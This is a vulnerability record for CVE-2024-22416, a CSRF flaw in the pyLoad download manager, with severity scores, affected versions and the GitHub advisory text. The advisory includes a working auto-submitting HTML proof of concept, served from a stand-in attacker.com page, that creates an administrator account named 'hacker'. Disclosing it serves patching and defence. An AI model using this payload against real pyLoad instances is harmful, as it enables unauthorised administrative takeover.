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CVE-2024-22416

CRITICAL
Published 2024-01-17T23:48:31.422Z
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CVSS Score

V3.1
9.7
/10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.059
probability
of exploitation in the wild

There is a 5.9% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.901
Higher than 90.1% of all CVEs

Attack Vector Metrics

Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED

Impact Metrics

Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH

Description

pyLoad is a free and open-source Download Manager written in pure Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade.

Available Exploits

No exploits available for this CVE.

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Affected Products

pyload

pyload

Affected Versions:

< 0.5.0b3.dev78

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed CRITICAL

Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

GHSA-pgpj-v85q-h5fm

Advisory Details

### Summary The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user. ### PoC We host the following HTML file on an attacker-controlled server. ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application. ![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png) The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`. ![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png) ### Impact Any API call can be made via a CSRF attack by an unauthenticated user.

Affected Packages

PyPI pyload-ng
ECOSYSTEM: ≥0 <0.5.0b3.dev78

CVSS Scoring

CVSS Score

9.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

WEB https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2024-22416
WEB https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e
WEB https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc
PACKAGE https://github.com/pyload/pyload
WEB https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml

Advisory provided by GitHub Security Advisory Database. Published: January 19, 2024, Modified: October 21, 2024

References

https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm
https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e
https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc
Published: 2024-01-17T23:48:31.422Z
Last Modified: 2024-08-01T22:43:34.922Z
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